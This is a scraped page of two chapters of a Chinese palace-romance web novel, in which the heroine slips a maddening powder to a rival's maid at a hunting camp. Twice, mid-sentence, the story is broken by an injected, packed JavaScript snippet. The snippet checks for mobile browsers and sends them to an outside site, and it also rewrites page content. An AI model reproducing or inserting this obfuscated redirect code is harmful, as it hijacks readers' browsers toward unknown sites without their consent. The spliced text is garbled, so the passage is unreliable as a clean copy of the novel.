“每个人的承受能力不同。”柳映雪转头问道,“马车上还有吃的吗?这一路上你怕是要饿着了。” “都吃完了!”东玉琳气鼓鼓地说,声音里带着委屈,“玉太子给我准备的那点东西,说我这丫鬟就该吃这么点。” 柳映雪闻言,赶忙回到马车取了些朱婶特意准备的糕点,递给东玉琳:“这些给你,应该够你吃到目的地了。” “谢谢姐姐!”东玉琳欢天喜地地抱着糕点,像只偷到糖果的小松鼠。 正当柳映雪准备上车时,一道熟悉的声音传来:“映雪!” 回头一看,是内阁大学士府的李婉柔。这位在赏梅宴上,是唯一真心与她交好的人。她穿着一身湖蓝色的裙装,在白雪的映衬下愈发清丽脱俗。 “婉柔。”柳映雪温柔地唤道。 李婉柔快步走来,脸颊被寒风吹得微红:“一直想找机会和你说话。听说凤栖楼遭人陷害时,我担心得很,还去求父亲帮忙。”她拉住柳映雪的手,真诚地说道,“如今酒楼重获清白,生意兴隆,我真为你高兴。” 柳映雪感受到对方手心的温度,心中一暖:“多谢关心,日后你来用膳,我给你免单。” “那怎么行?”李婉柔佯装不悦,眼中却带着笑意,“不过听说你们那独特的赠送小菜很是美味,若能多送我一份,我就心满意足了。” “一定。”柳映雪笑道,“你来之前让丫鬟通知我,我定在酒楼恭候。” 两人又寒暄几句,远处的侍卫走来,李婉柔便告辞离去。看着她身边没有那个心思不正的堂妹,柳映雪暗自点头。看来她的提醒起了作用。 这时,绿竹提着食盒走来,身后的积雪被踩出一串脚印。 “王爷表示这是为柳大小姐准备的午餐。”绿竹低声道,目光不时瞟向四周,“王爷那边离皇上皇后太近,怕大小姐觉得麻烦,特意让属下送来。马车里有碳炉,菜都是热的。” 柳映雪接过食盒,掀开盖子,一股暖暖的香气顿时弥漫开来。 精致的点心一看就出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787606|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自名门大厨之手,但柳映雪此刻却提不起太多兴致。这鬼天气,谁提议要来狩猎,简直是折磨人。她揉了揉发涨的太阳穴,心中暗自腹诽。 前方忽然传来一阵骚动,马车队伍再次停下。柳映雪下意识掀开帘子,就见司公公正指挥着人将陈美府扶上龙辇。 陈美府一袭红衣,在白雪的映衬下格外醒目。她脸上带着羞涩的笑意,小心翼翼地钻进龙辇,那姿态说不出的谄媚。 “呵。”柳映雪冷笑一声,放下帘子。 皇上这是玩腻了皇后和白贵妃,又想换个新鲜的。只可惜,这两位娘娘还得强颜欢笑地替皇上打掩护。想到这里,她不禁摇头。 “小姐,您尝尝这个桂花糕。”连秀见自家小姐心情不佳,连忙递上一块点心。 柳映雪接过来咬了一口,甜而不腻,确实美味。她正要再吃一块,马车突然剧烈晃动了一下。 “怎么回事?”连秀探头出去询问。 “回小姐,前面道路不好走,马车要放慢速度。”车夫恭敬答道。 柳映雪冷哼一声,这借口可真是拙劣。分明是皇上在龙辇里忙着风花雪月,司公公不得不让整个队伍放慢速度。 不远处的马车里,卢芷柔三人却是愁眉不展。南公主刚才的威胁言语,让她们心惊胆战。 “巧儿,你的手还疼吗?”卢芷柔看向一旁脸色苍白的仇巧儿。 仇巧儿摇摇头,强撑着笑了笑:“没事的,已经好多了。” “都怪我...”另一个丫鬟小声啜泣。 “行了!”卢芷柔厉声打断,“现在说这些有什么用?都给我打起精神来,别在人前丢人现眼。” 马车继续向前,天色渐渐暗了下来。远处的山峦笼罩在一片灰蒙蒙的暮色中,愈发显得阴森可怖。 终于,在申时,车队抵达了狩围场。 柳映雪下了马车,寒风如刀,刮得脸颊生疼。她环顾四周,帐篷层层叠叠,井然有序地排列着。 第一百六十七章 言语冲突 最高处那顶明黄色的大帐篷,自然是皇上的居所。右边是后宫嫔妃的帐篷,左边则是摄政王萧寒瑾和其他王爷的帐篷。 “小姐,帐篷收拾好了。”连秀的声音打断了她的思绪。 帐篷内布置简单却周到,中央一个大碳炉正冒着暖气。柳映雪坐下来,让丫鬟们也休息片刻。外面的寒风呼啸,更衬得帐篷内格外温暖。 “砰!”远处传来一声欢呼,紧接着是一阵喧闹声。 “三皇子和澄世子打到猎物了。”梅枝掀开帘子张望,“是一头白鹿呢!” 柳映雪对这些并不感兴趣,她更关心的是今晚的篝火晚宴。据说皇上要赐烤鹿肉,那些闺阁小姐们早就兴奋得手舞足蹈。 不远处的帐篷里,司微澜正和青珑密谋着什么。 “明日之事,万不可出差错。”司微澜咬牙切齿,眼神狠厉。 青珑低声道:“小姐放心,一切都准备妥当了。那些人已经收了银子,明日定会按计划行事。” 司微澜冷笑:“很好。”她要让柳映雪在众人面前出丑,让摄政王对这个女人彻底失望。 想到绿竹今日给柳映雪送食盒的场景,她就妒火中烧。堂堂公主,几次求见都被拒之门外。而柳映雪这个无名小卒,却能得到摄政王如此优待。 “小姐别生气,”青珑劝慰道,“等明日过后,那**就再也嚣张不起来了。” 司微澜没有说话,只是走到镜前,仔细整理着妆容。她要让自己在今晚的篝火晚宴上光彩照人,让所有人的目光都集中在自己身上。 天色渐暗,营地里渐渐热闹起来。 “听说今晚除了烤鹿肉,还有歌舞表演呢。” “可不是嘛,据说是从教坊司特意请来的。” “那可真是热闹了。” 议论声此起彼伏,人们脸上都带着期待的神色。内侍们开始通知众人前往宴会处,帐篷外顿时一片忙乱。 暮色四合,山林间笼罩着一层淡淡的薄雾。营地外围,几个侍卫正在巡逻,火把的光芒在雾气中显得格外朦胧。 连秀望着远处起伏的山峦,眉头微蹙。她转头看向身旁正在整理衣裙的小姐,欲言又止。片刻后,还是忍不住开口:“小姐,这事总觉得蹊跷。那山上的鹿,怎会这般容易就被打到?才短短半个时辰就捕获了一头,未免太快了些。” 柳映雪停下手中的动作,眸光微动。她走到帐篷门口,望着远处三皇子的营地,那里灯火通明,不时传来阵阵欢笑声。 “这有什么好奇怪的,”她语气中带着几分讥讽,“无非是有人想巴结三皇子罢了。想必是提前安排人把鹿赶到他面前,好让他一箭得手。” 说着,她转身走回帐篷内,随手拿起梳妆台上的一支玉簪。簪头雕刻着栩栩如生的凤凰,在烛光下泛着柔和的光泽。 “这些人啊,”连秀一边帮小姐整理发髻,一边愤愤不平地说道,“就知道溜须拍马。也不知道是谁这么卑躬屈膝,竟做出这等下作之事。” “行了,”柳映雪制止了她继续说下去,“这种事见得多了,不必大惊小怪。” 帐篷外突然传来一阵嘈杂声,似乎是有人在催促。柳映雪走到镜前最后检查了一下妆容,确认无误后,才带着丫鬟们走出帐篷。 夜色已深,营地里到处都是火把的光芒。远处传来丝竹之声,显然宴会已经开始了。柳映雪刚走出没几步,就听见身后传来一阵轻快的脚步声。 “姐姐!姐姐等等我!” 东玉琳提着裙摆,带着宫女小跑过来。她今晚穿了一件淡粉色的襦裙,发间簪着几朵小巧的珍珠花,整个人看起来活泼可爱。 “怎么这么晚才出来?”柳映雪看着这个与自己情同姐妹的女孩,语气中带着几分宠溺。 东玉琳吐了吐舌头:“还不是因为挑衣服太费时间了。姐姐你说,我今晚这身打扮好看吗?” 柳映雪正要回答,突然听见身后传来一道尖锐刺耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793552|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音:“柳大小姐还有心思在这说笑,你们酒楼可是毒**人,难道不觉得心里有些愧疚吗?” 空气仿佛在瞬间凝固。柳映雪缓缓转身,目光落在说话之人身上。来人不是别人,正是西幽国的司微澜公主。她身边还跟着卢芷柔等人,个个都是一副看好戏的表情。 东玉琳听了这话,顿时怒火中烧。她撸起袖子就要上前,却被柳映雪拉住。 “别冲动,”柳映雪低声说道,“让我来处理。” 她松开东玉琳的手,转向司微澜。月光下,她的脸上依旧挂着优雅从容的笑容,仿佛方才那番挑衅之言与她无关。 “公主此言差矣,”柳映雪语气平静,“府衙早已查明真相,还了我们清白。况且,我们酒楼同样是受害者,为何要觉得愧疚?” 说话间,她的目光若有若无地扫过一旁的仇巧儿。果然,她看到对方身子微微一颤。 司微澜被这番话堵得说不出话来。她死死盯着柳映雪那张美丽的脸庞,心中妒火中烧。这个女人,不仅容貌出众,还深得萧寒瑾宠爱,简直让人恨得牙痒痒。 “可那人终究是在你们酒楼里死的!”司微澜咬牙切齿地说道,“这是不争的事实!” 柳映雪轻笑一声,“是啊,因此我们积极协助官府调查。不过说起来,司公主宫中那些莫名消失的宫女,不知可有人替她们伸冤?” 她故意压低声音,继续说道:“听说冤魂不散的话,会日日夜夜缠着害死她们的人,让那人寝食难安呢。” 说话间,她暗中将手中的粉末借着夜风撒向司微澜身边的青珑。这粉末是她特意调制的,能让人暂时失去理智,做出疯狂的事来。 司微澜脸色一白,不由自主地后退了一步。她想起那些消失的宫女,心中突然涌起一阵恐惧。 青珑见状,立即上前呵斥:“柳大小姐,请不要胡言乱语吓唬公主!” “好一个胡言乱语。”一道冰冷的声音突然响起。 第一百六十八章 下药 萧寒瑾不知何时出现在众人身后。月光下,他一身玄色锦袍,面容冷峻,眼中带着几分戾气。 “你在教本王的王妃如何说话?”他冷冷地看着青珑。 青珑顿时吓得跪倒在地,额头冷汗直冒。然而下一刻,她突然像着了魔一般暴起,一巴掌重重打在司微澜脸上。 “啪!”清脆的耳光声在夜色中格外响亮。 所有人都惊呆了。只见青珑像是失去了理智,对着司微澜一顿拳打脚踢。司微澜被打得狼狈不堪,发钗散乱,衣衫不整,连连后退。 柳映雪站在一旁,嘴角勾起一抹若有若无的笑意。她看着司微澜狼狈的模样,心中暗道:这就是得罪她的下场。 萧寒瑾走到柳映雪身边,低声问道:“没事吧?” 柳映雪摇摇头:“我能有什么事。倒是公主,看起来受了不小的惊吓呢。” 萧寒瑾冷哼一声:“活该。” 卢芷柔柔声细语地说道:“西幽国的皇子和使臣还不知道这件事,要不要去通知他们一声?” 她的语气里带着几分担忧,但更多的是看热闹的心思。那双灵动的眼睛不安分地转动着,嘴角微微翘起,显然是在期待接下来的好戏。 柳映雪和萧寒瑾同时转头看向她。一个眼神冷若冰霜,仿佛能将人冻结;一个带着戏谑,却暗藏锋芒。这两道目光如利剑般刺来,吓得卢芷柔连忙后退几步,裙摆被身后的石阶绊住,差点摔倒。她慌忙扶住旁边的石柱,再也不敢多言。 周围的丫鬟和侍卫们蠢蠢欲动,有人已经迈出脚步,想要去通报此事。空气中弥漫着一种诡异的气氛,仿佛所有人都在等待一场即将爆发的风暴。 萧寒瑾冷冷扫视一圈,目光所及之处,所有人都不由自主地打了个寒颤。他身上那股与生俱来的威压让人不敢直视,就连远处的花枝似乎都在微微颤抖。 “西幽国公主自有分寸,不劳诸位费心。”他的声音清冷如霜,每个字都仿佛带着寒气。 柳映雪听到这话,嘴角微微上扬。她知道,摄政王这是在告诉大家,安心看戏就好,别多插手别人的事。这种默契让她心中涌起一丝暖意。 她将视线转向地上扭打的两人。青珑骑在司微澜身上,一拳接一拳地挥下,每一拳都带着十足的力道。她的眼神狰狞,完全失去了往日的温顺,就像一头发狂的野兽。 司微澜被打得眼冒金星,却还在破口大骂:“贱婢!你敢打我?我要杀了你!”她的声音嘶哑,带着难以置信的愤怒。 骂得越凶,挨的拳头就越重。青珑似乎被她的话刺激得更加疯狂,下手越发没有轻重。 柳映雪看得津津有味。她只是给青珑下了一点**药,让她把最近的人当成最恨的仇人。没想到这丫鬟竟然如此凶悍,把堂堂西幽公主打成了这副模样。 周围的空气中弥漫着一种诡异的气氛,有人想笑又不敢笑出声,有人想帮忙又碍于摄政王的威压不敢上前。整个花园陷入一种奇怪的寂静中,只有打斗声和咒骂声在回荡。 就在这时,一道身影快速冲来,带起一阵疾风。只见他一脚踹在青珑身上,将她踢飞出去。青珑的身体在空中划出一道弧线,重重摔在地上,吐出一口鲜血,昏了过去。 柳映雪认出来人是司微澜的二皇兄司徽风,不由得有些遗憾。这好戏还没看够呢,就被人打断了。她悄悄瞥了一眼萧寒瑾,发现他也在看着自己,眼中带着一丝了然。 司徽风连忙将司微澜扶起来:“皇妹,你没事吧?”他的声音里充满关切,但更多的是压抑的怒火。 柳映雪打量着司微澜此时的惨状。头发凌乱得像个鸟窝,满脸是泥污。两只眼睛青紫肿胀,像两个熟透的桃子。两颊高高肿起,已经看不出原来的样子。额头上一个大包正在慢慢变紫,嘴角还在往外渗血。脖子上布满了深深的抓痕,原本华贵的衣裳此刻沾满泥土,还 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玉太子不悦地看了她一眼:“这儿可没你发言的机会?”他的声音带着几分嫌弃。 东玉琳瞪了回去,不再多言。她低下头,手指不安地绞着衣角。 柳映雪上前一步,轻声细语道:“二皇子,事情确实如此。不过这宫女突然发疯,留在公主身边恐怕不妥,建议还是换个人伺候为好。”她的语气温和,却带着不容置疑的意味。 司徽风咬牙道:“感谢柳大小姐的提醒,皇妹自会处理。”他的声音里带着压抑的怒火。 这时管事公公匆匆赶来,脸上带着焦急:“诸位贵人,宴会马上就要开始了,还请移步。” 萧寒瑾轻轻“嗯”了一声,转头看向柳映雪,眼中带笑:“雪儿,我们过去吧。”他的声音温柔,与方才的冷漠判若两人。 “好。”柳映雪莞尔一笑,款款走到他身边。